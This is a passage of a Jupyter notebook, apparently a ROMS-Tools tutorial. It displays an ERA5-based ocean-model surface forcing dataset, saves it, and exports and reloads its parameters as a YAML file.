colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"172\" height=\"162\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"80\" y2=\"70\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"42\" x2=\"80\" y2=\"112\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"42\" style=\"stroke-width:2\" />\n", " <line x1=\"13\" y1=\"3\" x2=\"13\" y2=\"45\" />\n", " <line x1=\"17\" y1=\"7\" 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/>\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"80\" y1=\"70\" x2=\"80\" y2=\"112\" style=\"stroke-width:2\" />\n", " <line x1=\"122\" y1=\"70\" x2=\"122\" y2=\"112\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"80.58823529411765,70.58823529411765 122.63965770603622,70.58823529411765 122.63965770603622,112.63965770603622 80.58823529411765,112.63965770603622\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"101.613947\" y=\"132.639658\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"142.639658\" y=\"91.613947\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,142.639658,91.613947)\">102</text>\n", " <text x=\"35.294118\" y=\"97.345540\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,35.294118,97.345540)\">505</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>vwnd</span></div><div class='xr-var-dims'>(time, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-72de6655-fd78-4bdd-802b-476719a80d09' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-72de6655-fd78-4bdd-802b-476719a80d09' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-7590b561-61ea-4649-8c2c-0f036a84c6cf' class='xr-var-data-in' type='checkbox'><label for='data-7590b561-61ea-4649-8c2c-0f036a84c6cf' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>10 meter wind in y-direction</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 20.04 MiB </td>\n", " <td> 40.64 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (505, 102, 102) </td>\n", " <td> (1, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 505 chunks in 153 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"172\" height=\"162\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"80\" y2=\"70\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"42\" x2=\"80\" y2=\"112\" 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repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>downward short-wave (solar) radiation</dd><dt><span>units :</span></dt><dd>W/m^2</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 20.04 MiB </td>\n", " <td> 40.64 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (505, 102, 102) </td>\n", " <td> (1, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 505 chunks in 145 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " 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xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-07aeb9e2-c433-423a-a5bc-0ba2c8377a81' class='xr-var-data-in' type='checkbox'><label for='data-07aeb9e2-c433-423a-a5bc-0ba2c8377a81' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>downward long-wave (thermal) radiation</dd><dt><span>units :</span></dt><dd>W/m^2</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 20.04 MiB </td>\n", " <td> 40.64 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (505, 102, 102) </td>\n", " <td> (1, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> 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meta=np.ndarray&gt;</div><input id='attrs-7580c738-a731-4e1f-b6a6-45850106ec5f' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-7580c738-a731-4e1f-b6a6-45850106ec5f' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-93a3c14a-5ba4-4e5e-8b77-ebd692ce87ef' class='xr-var-data-in' type='checkbox'><label for='data-93a3c14a-5ba4-4e5e-8b77-ebd692ce87ef' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>air temperature at 2m</dd><dt><span>units :</span></dt><dd>degrees Celsius</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 20.04 MiB </td>\n", " <td> 40.64 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (505, 102, 102) </td>\n", " <td> (1, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 505 chunks in 99 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"172\" height=\"162\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"80\" y2=\"70\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"42\" x2=\"80\" y2=\"112\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"42\" style=\"stroke-width:2\" />\n", " <line x1=\"13\" y1=\"3\" x2=\"13\" y2=\"45\" />\n", " <line x1=\"17\" y1=\"7\" x2=\"17\" y2=\"49\" />\n", " <line x1=\"21\" y1=\"11\" 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<line x1=\"80\" y1=\"70\" x2=\"80\" y2=\"112\" style=\"stroke-width:2\" />\n", " <line x1=\"122\" y1=\"70\" x2=\"122\" y2=\"112\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"80.58823529411765,70.58823529411765 122.63965770603622,70.58823529411765 122.63965770603622,112.63965770603622 80.58823529411765,112.63965770603622\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"101.613947\" y=\"132.639658\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"142.639658\" y=\"91.613947\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,142.639658,91.613947)\">102</text>\n", " <text x=\"35.294118\" y=\"97.345540\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,35.294118,97.345540)\">505</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>qair</span></div><div class='xr-var-dims'>(time, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-f6814506-a9bb-449c-b189-96ec76e1ceee' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-f6814506-a9bb-449c-b189-96ec76e1ceee' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-cf1d2ef0-2204-4a72-8de5-b36ee320440a' class='xr-var-data-in' type='checkbox'><label for='data-cf1d2ef0-2204-4a72-8de5-b36ee320440a' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>absolute humidity at 2m</dd><dt><span>units :</span></dt><dd>kg/kg</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 20.04 MiB </td>\n", " <td> 40.64 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (505, 102, 102) </td>\n", " <td> (1, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 505 chunks in 150 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"172\" height=\"162\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"80\" y2=\"70\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"42\" x2=\"80\" y2=\"112\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line 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/>\n", " <line x1=\"76\" y1=\"66\" x2=\"76\" y2=\"108\" />\n", " <line x1=\"80\" y1=\"70\" x2=\"80\" y2=\"112\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 80.58823529411765,70.58823529411765 80.58823529411765,112.63965770603622 10.0,42.05142241191857\" style=\"fill:#8B4903A0;stroke-width:0\"/>\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"52\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"13\" y1=\"3\" x2=\"55\" y2=\"3\" />\n", " <line x1=\"17\" y1=\"7\" x2=\"59\" y2=\"7\" />\n", " <line x1=\"21\" y1=\"11\" x2=\"63\" y2=\"11\" />\n", " <line x1=\"24\" y1=\"14\" x2=\"66\" y2=\"14\" />\n", " <line x1=\"28\" y1=\"18\" x2=\"70\" y2=\"18\" />\n", " <line x1=\"32\" y1=\"22\" x2=\"74\" y2=\"22\" />\n", " <line x1=\"35\" y1=\"25\" x2=\"78\" y2=\"25\" />\n", " <line x1=\"39\" y1=\"29\" x2=\"81\" y2=\"29\" />\n", " <line x1=\"43\" y1=\"33\" x2=\"85\" y2=\"33\" />\n", " <line x1=\"47\" y1=\"37\" x2=\"89\" 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font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,35.294118,97.345540)\">505</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>rain</span></div><div class='xr-var-dims'>(time, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-080e8e24-ff7a-45a6-869f-287fb7325d89' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-080e8e24-ff7a-45a6-869f-287fb7325d89' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-bb87b27b-5518-43c4-ac87-546e97eb2c21' class='xr-var-data-in' type='checkbox'><label for='data-bb87b27b-5518-43c4-ac87-546e97eb2c21' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>total precipitation</dd><dt><span>units :</span></dt><dd>cm/day</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 20.04 MiB </td>\n", " <td> 40.64 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (505, 102, 102) </td>\n", " <td> (1, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 505 chunks in 99 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"172\" height=\"162\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"80\" y2=\"70\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"42\" x2=\"80\" y2=\"112\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"42\" style=\"stroke-width:2\" />\n", " <line x1=\"13\" y1=\"3\" x2=\"13\" y2=\"45\" />\n", " <line x1=\"17\" y1=\"7\" x2=\"17\" y2=\"49\" />\n", " <line x1=\"21\" y1=\"11\" x2=\"21\" y2=\"53\" />\n", " <line x1=\"24\" y1=\"14\" x2=\"24\" y2=\"56\" />\n", " <line x1=\"28\" y1=\"18\" x2=\"28\" y2=\"60\" />\n", " <line x1=\"32\" y1=\"22\" x2=\"32\" y2=\"64\" />\n", " <line x1=\"35\" y1=\"25\" x2=\"35\" y2=\"68\" />\n", " <line x1=\"39\" y1=\"29\" x2=\"39\" y2=\"71\" />\n", " <line x1=\"43\" y1=\"33\" x2=\"43\" y2=\"75\" />\n", " <line x1=\"47\" y1=\"37\" x2=\"47\" y2=\"79\" />\n", " <line x1=\"50\" y1=\"40\" x2=\"50\" y2=\"82\" />\n", " <line x1=\"54\" y1=\"44\" x2=\"54\" y2=\"86\" />\n", " <line x1=\"58\" y1=\"48\" x2=\"58\" y2=\"90\" />\n", " <line x1=\"61\" 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<line x1=\"35\" y1=\"25\" x2=\"78\" y2=\"25\" />\n", " <line x1=\"39\" y1=\"29\" x2=\"81\" y2=\"29\" />\n", " <line x1=\"43\" y1=\"33\" x2=\"85\" y2=\"33\" />\n", " <line x1=\"47\" y1=\"37\" x2=\"89\" y2=\"37\" />\n", " <line x1=\"50\" y1=\"40\" x2=\"92\" y2=\"40\" />\n", " <line x1=\"54\" y1=\"44\" x2=\"96\" y2=\"44\" />\n", " <line x1=\"58\" y1=\"48\" x2=\"100\" y2=\"48\" />\n", " <line x1=\"61\" y1=\"51\" x2=\"104\" y2=\"51\" />\n", " <line x1=\"65\" y1=\"55\" x2=\"107\" y2=\"55\" />\n", " <line x1=\"69\" y1=\"59\" x2=\"111\" y2=\"59\" />\n", " <line x1=\"73\" y1=\"63\" x2=\"115\" y2=\"63\" />\n", " <line x1=\"76\" y1=\"66\" x2=\"118\" y2=\"66\" />\n", " <line x1=\"80\" y1=\"70\" x2=\"122\" y2=\"70\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"80\" y2=\"70\" style=\"stroke-width:2\" />\n", " <line x1=\"52\" y1=\"0\" x2=\"122\" y2=\"70\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 52.05142241191857,0.0 122.63965770603622,70.58823529411765 80.58823529411765,70.58823529411765\" style=\"fill:#8B4903A0;stroke-width:0\"/>\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"80\" y1=\"70\" x2=\"122\" y2=\"70\" style=\"stroke-width:2\" />\n", " <line x1=\"80\" y1=\"112\" x2=\"122\" y2=\"112\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"80\" y1=\"70\" x2=\"80\" y2=\"112\" style=\"stroke-width:2\" />\n", " <line x1=\"122\" y1=\"70\" x2=\"122\" y2=\"112\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"80.58823529411765,70.58823529411765 122.63965770603622,70.58823529411765 122.63965770603622,112.63965770603622 80.58823529411765,112.63965770603622\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"101.613947\" y=\"132.639658\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"142.639658\" y=\"91.613947\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,142.639658,91.613947)\">102</text>\n", " <text x=\"35.294118\" y=\"97.345540\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,35.294118,97.345540)\">505</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li></ul></div></li><li class='xr-section-item'><input id='section-154dea15-79b3-47f8-b83b-99a7bf8b6cf7' class='xr-section-summary-in' type='checkbox' ><label for='section-154dea15-79b3-47f8-b83b-99a7bf8b6cf7' class='xr-section-summary' >Indexes: <span>(1)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-index-name'><div>time</div></div><div class='xr-index-preview'>PandasIndex</div><div></div><input id='index-9e05e55f-c71c-4ad2-b1a8-4d52b5b3c93c' class='xr-index-data-in' type='checkbox'/><label for='index-9e05e55f-c71c-4ad2-b1a8-4d52b5b3c93c' title='Show/Hide index repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-index-data'><pre>PandasIndex(Index([ 4397.0, 4397.041666666667, 4397.083333333334,\n", " 4397.125, 4397.166666666667, 4397.208333333334,\n", " 4397.25, 4397.291666666667, 4397.333333333334,\n", " 4397.375,\n", " ...\n", " 4417.625, 4417.666666666667, 4417.708333333333,\n", " 4417.75, 4417.791666666667, 4417.833333333333,\n", " 4417.875, 4417.916666666667, 4417.958333333333,\n", " 4418.0],\n", " dtype=&#x27;float64&#x27;, name=&#x27;time&#x27;, length=505))</pre></div></li></ul></div></li><li class='xr-section-item'><input id='section-a91f9d03-cd32-49bb-9777-0305bac2b87e' class='xr-section-summary-in' type='checkbox' checked><label for='section-a91f9d03-cd32-49bb-9777-0305bac2b87e' class='xr-section-summary' >Attributes: <span>(9)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><dl class='xr-attrs'><dt><span>title :</span></dt><dd>ROMS surface forcing file created by ROMS-Tools</dd><dt><span>roms_tools_version :</span></dt><dd>0.1.dev138+dirty</dd><dt><span>start_time :</span></dt><dd>2012-01-15 00:00:00</dd><dt><span>end_time :</span></dt><dd>2012-02-05 00:00:00</dd><dt><span>source :</span></dt><dd>ERA5</dd><dt><span>correct_radiation :</span></dt><dd>True</dd><dt><span>use_coarse_grid :</span></dt><dd>False</dd><dt><span>model_reference_date :</span></dt><dd>2000-01-01 00:00:00</dd><dt><span>type :</span></dt><dd>physics</dd></dl></div></li></ul></div></div>" ], "text/plain": [ "<xarray.Dataset> Size: 147MB\n", "Dimensions: (time: 505, eta_rho: 102, xi_rho: 102)\n", "Coordinates:\n", " abs_time (time) datetime64[ns] 4kB 2012-01-15 ... 2012-02-05\n", " * time (time) float64 4kB 4.397e+03 4.397e+03 ... 4.418e+03 4.418e+03\n", "Dimensions without coordinates: eta_rho, xi_rho\n", "Data variables:\n", " uwnd (time, eta_rho, xi_rho) float32 21MB dask.array<chunksize=(1, 102, 102), meta=np.ndarray>\n", " vwnd (time, eta_rho, xi_rho) float32 21MB dask.array<chunksize=(1, 102, 102), meta=np.ndarray>\n", " swrad (time, eta_rho, xi_rho) float32 21MB dask.array<chunksize=(1, 102, 102), meta=np.ndarray>\n", " lwrad (time, eta_rho, xi_rho) float32 21MB dask.array<chunksize=(1, 102, 102), meta=np.ndarray>\n", " Tair (time, eta_rho, xi_rho) float32 21MB dask.array<chunksize=(1, 102, 102), meta=np.ndarray>\n", " qair (time, eta_rho, xi_rho) float32 21MB dask.array<chunksize=(1, 102, 102), meta=np.ndarray>\n", " rain (time, eta_rho, xi_rho) float32 21MB dask.array<chunksize=(1, 102, 102), meta=np.ndarray>\n", "Attributes:\n", " title: ROMS surface forcing file created by ROMS-Tools\n", " roms_tools_version: 0.1.dev138+dirty\n", " start_time: 2012-01-15 00:00:00\n", " end_time: 2012-02-05 00:00:00\n", " source: ERA5\n", " correct_radiation: True\n", " use_coarse_grid: False\n", " model_reference_date: 2000-01-01 00:00:00\n", " type: physics" ] }, "execution_count": 22, "metadata": {}, "output_type": "execute_result" } ], "source": [ "corrected_surface_forcing.ds" ] }, { "cell_type": "code", "execution_count": 23, "id": "b76cc5a6-c6e2-40f9-94e9-ad5d26aa7bc5", "metadata": { "tags": [] }, "outputs": [], "source": [ "from dask.diagnostics import ProgressBar" ] }, { "cell_type": "code", "execution_count": 24, "id": "2f66a129-a12e-444d-9fbd-4bfb202e1697", "metadata": { "tags": [] }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "[########################################] | 100% Completed | 44.84 s\n", "CPU times: user 1h 28min 55s, sys: 8.95 s, total: 1h 29min 4s\n", "Wall time: 47.5 s\n" ] } ], "source": [ "with ProgressBar():\n", " %time corrected_surface_forcing.save(filepath)" ] }, { "cell_type": "markdown", "id": "7bd5220a-66c8-4b2c-abbd-e60c3aa14e6e", "metadata": {}, "source": [ "We can also export the parameters of our `SurfaceForcing` object to a YAML file." ] }, { "cell_type": "code", "execution_count": 25, "id": "6c3d6345-310a-4609-adee-163ba06d4a81", "metadata": { "tags": [] }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "[########################################] | 100% Completed | 305.35 ms\n", "CPU times: user 109 ms, sys: 60.1 ms, total: 169 ms\n", "Wall time: 374 ms\n" ] } ], "source": [ "with ProgressBar():\n", "\n", " %time bgc_surface_forcing.save(\"/pscratch/sd/n/nloose/forcing/my_bgc_surface_forcing\")" ] }, { "cell_type": "code", "execution_count": 26, "id": "b5838d75-3b50-41c9-8547-12b93e10f8ea", "metadata": { "tags": [] }, "outputs": [], "source": [ "yaml_filepath = \"/pscratch/sd/n/nloose/forcing/my_surface_forcing.yaml\"" ] }, { "cell_type": "code", "execution_count": 27, "id": "39b0f249-49ca-4144-9132-60ab885a012b", "metadata": { "tags": [] }, "outputs": [], "source": [ "corrected_surface_forcing.to_yaml(yaml_filepath)" ] }, { "cell_type": "markdown", "id": "52f33760-6d6e-4b5c-889f-fc81d77802cf", "metadata": {}, "source": [ "This is the YAML file that was created." ] }, { "cell_type": "code", "execution_count": 28, "id": "8cf64ed8-1463-4aca-88cb-29c441ff5474", "metadata": { "tags": [] }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "---\n", "roms_tools_version: 0.1.dev138+dirty\n", "---\n", "Grid:\n", " N: 100\n", " center_lat: 33\n", " center_lon: -18\n", " hc: 300.0\n", " hmin: 5.0\n", " nx: 100\n", " ny: 100\n", " rot: -20\n", " size_x: 2000\n", " size_y: 2400\n", " theta_b: 2.0\n", " theta_s: 5.0\n", " topography_source: ETOPO5\n", "SurfaceForcing:\n", " correct_radiation: true\n", " end_time: '2012-02-05T00:00:00'\n", " model_reference_date: '2000-01-01T00:00:00'\n", " source:\n", " climatology: false\n", " name: ERA5\n", " path: /global/cfs/projectdirs/m4746/Datasets/ERA5/NA/2012/ERA5*.nc\n", " start_time: '2012-01-15T00:00:00'\n", " type: physics\n", " use_coarse_grid: false\n", "\n" ] } ], "source": [ "# Open and read the YAML file\n", "with open(yaml_filepath, \"r\") as file:\n", " file_contents = file.read()\n", "\n", "# Print the contents\n", "print(file_contents)" ] }, { "cell_type": "markdown", "id": "848a27bb-7972-4625-8ba6-e9a82fec2add", "metadata": {}, "source": [ "## Creating surface forcing from an existing YAML file" ] }, { "cell_type": "code", "execution_count": 29, "id": "80b739f6-59d7-4038-a623-99898ec754ef", "metadata": { "tags": [] }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "CPU times: user 2min 16s, sys: 368 ms, total: 2min 16s\n", "Wall time: 7.74 s\n" ] } ], "source": [ "%time the_same_corrected_surface_forcing = SurfaceForcing.from_yaml(yaml_filepath, use_dask=True)" ] }, { "cell_type": "code", "execution_count": 30, "id": "a2e9f890-02df-4484-b803-90ee197d3e00", "metadata": { "tags": [] }, "outputs": [ { "data": { "text/html": [ "<div><svg style=\"position: absolute; width: 0; height: 0; overflow: hidden\">\n", "<defs>\n", "<symbol id=\"icon-database\" viewBox=\"0 0 32 32\">\n", "<path d=\"M16 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display: inline-block;\n", " vertical-align: middle;\n", " width: 1em;\n", " height: 1.5em !important;\n", " stroke-width: 0;\n", " stroke: currentColor;\n", " fill: currentColor;\n", "}\n", "</style><pre class='xr-text-repr-fallback'>&lt;xarray.Dataset&gt; Size: 147MB\n", "Dimensions: (time: 505, eta_rho: 102, xi_rho: 102)\n", "Coordinates:\n", " abs_time (time) datetime64[ns] 4kB 2012-01-15 ... 2012-02-05\n", " * time (time) float64 4kB 4.397e+03 4.397e+03 ... 4.418e+03 4.418e+03\n", "Dimensions without coordinates: eta_rho, xi_rho\n", "Data variables:\n", " uwnd (time, eta_rho, xi_rho) float32 21MB dask.array&lt;chunksize=(1, 102, 102), meta=np.ndarray&gt;\n", " vwnd (time, eta_rho, xi_rho) float32 21MB dask.array&lt;chunksize=(1, 102, 102), meta=np.ndarray&gt;\n", " swrad (time, eta_rho, xi_rho) float32 21MB dask.array&lt;chunksize=(1, 102, 102), meta=np.ndarray&gt;\n", " lwrad (time, eta_rho, xi_rho) float32 21MB dask.array&lt;chunksize=(1, 102, 102), meta=np.ndarray&gt;\n", " Tair (time, eta_rho, xi_rho) float32 21MB dask.array&lt;chunksize=(1, 102, 102), meta=np.ndarray&gt;\n", " qair (time, eta_rho, xi_rho) float32 21MB dask.array&lt;chunksize=(1, 102, 102), meta=np.ndarray&gt;\n", " rain (time, eta_rho, xi_rho) float32 21MB dask.array&lt;chunksize=(1, 102, 102), meta=np.ndarray&gt;\n", "Attributes:\n", " title: ROMS surface forcing file created by ROMS-Tools\n", " roms_tools_version: 0.1.dev138+dirty\n", " start_time: 2012-01-15 00:00:00\n", " end_time: 2012-02-05 00:00:00\n", " source: ERA5\n", " correct_radiation: True\n", " use_coarse_grid: False\n", " model_reference_date: 2000-01-01 00:00:00\n", " type: physics</pre><div class='xr-wrap' style='display:none'><div class='xr-header'><div class='xr-obj-type'>xarray.Dataset</div></div><ul class='xr-sections'><li class='xr-section-item'><input id='section-fe1f3400-01c6-4945-9b42-cee972c456b7' class='xr-section-summary-in' type='checkbox' disabled ><label for='section-fe1f3400-01c6-4945-9b42-cee972c456b7' class='xr-section-summary' title='Expand/collapse section'>Dimensions:</label><div class='xr-section-inline-details'><ul class='xr-dim-list'><li><span class='xr-has-index'>time</span>: 505</li><li><span>eta_rho</span>: 102</li><li><span>xi_rho</span>: 102</li></ul></div><div class='xr-section-details'></div></li><li class='xr-section-item'><input id='section-4b8a94cf-620c-4d59-893c-64c4a0f9a4a0' class='xr-section-summary-in' type='checkbox' checked><label for='section-4b8a94cf-620c-4d59-893c-64c4a0f9a4a0' class='xr-section-summary' >Coordinates: <span>(2)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul 